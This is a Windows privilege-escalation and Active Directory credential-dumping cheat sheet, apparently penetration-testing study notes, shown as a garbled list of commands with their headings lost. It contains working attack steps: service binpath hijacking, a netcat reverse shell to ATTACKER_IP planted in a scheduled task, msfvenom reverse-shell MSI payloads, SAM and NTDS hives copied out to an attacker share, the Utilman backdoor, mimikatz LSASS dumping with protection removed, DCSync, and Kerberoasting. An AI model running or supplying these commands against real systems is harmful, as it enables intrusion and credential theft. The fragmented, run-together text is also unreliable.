whoami /priv
net users
net users <username>
net localgroup
net localgroup <groupname>
query session
qwinsta
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic product get name,version,vendor
wmic service list brief | findstr "Running"
cmdkey /list
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
C:\Windows\NTDS
runas /savecred /user:<domain\user> reverse_shell.exe
SeImpersonatePrivilege
is necessary, check via whoami priv
schtasks
and schtasks /query /tn %TASK_NAME% /fo list /v
Autoruns64.exe
accesschk64 -wvu "file.exe"
SERVICE_CHANGE_CONFIG
is set sc config <service> binpath="net localgroup administrators user /add"
service_escalation
onto the binary path.Restart the service afterwards.accesschk64 -qlc "service.exe"
SERVICE_ALL_ACCESS
is set it is configurable upload a reverse shellicacls C:\Windows\Temp\shell.exe /grant Everyone:F
sc config TheService binPath= "C:\Path\to\shell.exe" obj= LocalSystem
sc stop TheService
sc start TheService
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
use auxiliary/server/capture/http_basic
set srvport 7777
set uripath pass
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
<Credentials>
tagsGet-Content %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s
schtasks /query /tn %TASK_NAME% /fo list /v
F
means full accessicacls <PathToScript>
echo "C:\tmp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" > <PathToSript>
schtasks /run /tn <taskname>
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
*.msi
file with a payloadmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi
msiexec /quiet /qn /i C:\Windows\Temp\wizard.msi
BINARY_PATH_NAME
and SERVICE_START_NAME
sc qc apphostsvc
icacls <BINARY_PATH_NAME>
icacls <Payload_Service.exe> /grant Everyone:F
sc stop <service>
sc start <service>
Others ways are:
* Discretionary Access Control (DACL) can be opened via right click on the service and go to properties
* All services are stored under HKLM\SYSTEM\CurrentControlSet\Services\
BINARY_PATH_NAME
spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.icacls <directory>
service-exe
payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service pathicacls C:\Path/to/service.exe /grant Everyone:F
whoami /priv
SeBackup / SeRestore
(rw on all files) is set an elevated cmd.exe
may be openedSAM
and System
hashesreg save hklm\system C:\Windows\Temp\system.hive
reg save hklm\sam C:\Windows\Temp\sam.hive
copy C:\Windows\System32\config\sam \\ATTACKER_IP\
copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
copy C:\Windows\Temp\system.hive \\ATTACKER_IP\
secretsdump.py -sam sam.hive -system system.hive LOCAL
hashdump
psexec.py -hashes <hash> administrator@$TARGET_IP
SeTakeOwnership
is set one can take ownership of every file or service.takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <user>:F
copy cmd.exe utilman.exe
Ease of Access
whoami /priv
for these socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
vssadmin list shadows
sam
and system
from the shadow copycopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
lsass.exe
-> creat dumpfile
Use procdump.exe
from sysinternal suite as an alternative to tskmgr.exe
Extract the dump via mimikatz
privilege::debug
sekurlsa::logonpasswords
The bypass is needed most of the time in order to dump passwords
* If the dump cannot be created because it is protected change RunAsPPL
DWORD to 0
under
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
privilege::debug
!+
!processprotect /process:lsass.exe /remove
+!
calls mimidrv.sys
, therefore mimikatz has to be executed inside the same directory the this file liesControl Pane
-> User Accounts
-> Credential Manager
vaultcmd /list
vaultcmd /listproperties:"Web Credentials"
vaultcmd /listcreds:"web credentials"
powershell -ex bypass
Get-WebCredentials
privilege::debug
sekurlsa::credman
Three files are needed
Locally dumping all three needed file is done via
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\ntds' q q"
secretsdump
to extract ntds.dit
secretsdump.py -security ./SECURITY -system ./SYSTEM -ntds ./ntds.dit local
Needs the following AD credentials
Mimikatz or impacket can be used to gain credentials
secretsdump.py -just-dc <domain>/<AD_Admin_User>@$DC_IP
secretsdump.py -just-dc-ntlm <domain>/<AD_Admin_User>@$DC_IP
Replaces GPP, see below
There are two interesting attributes
admpwd.dll is used to update the password inside ms-mcs-AdmPwd
C:\Program Files\LAPS\CSE
List the cmdlets for LAPS
Get-Command *AdmPwd*
ExtendedRightsHolder
in the outputFind-AdmPwdExtendedRights -Identity <OU>
Get-AdmPwdPassword -ComputerName <targethost>
ExtendedRightsHolder
to enumerate groups and their usersnet groups <ExtendedRightsHolder>
net user <GroupMemberUsername>
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user>
Name
in the output and use it to query a TGS ticket GetUserSPNs.py -dc-ip $DC_IP <domain>/<user> -request-user <SPN>
hashcat -m 13100 -a0 hash.txt --wordlist <wordlist>
Do not require Kerberos pre-authentication
must be set on the AD user's account login settings. A password is used insteadGetNPUsers.py -dc-ip $DC_IP <domain>/ -usersfile users.txt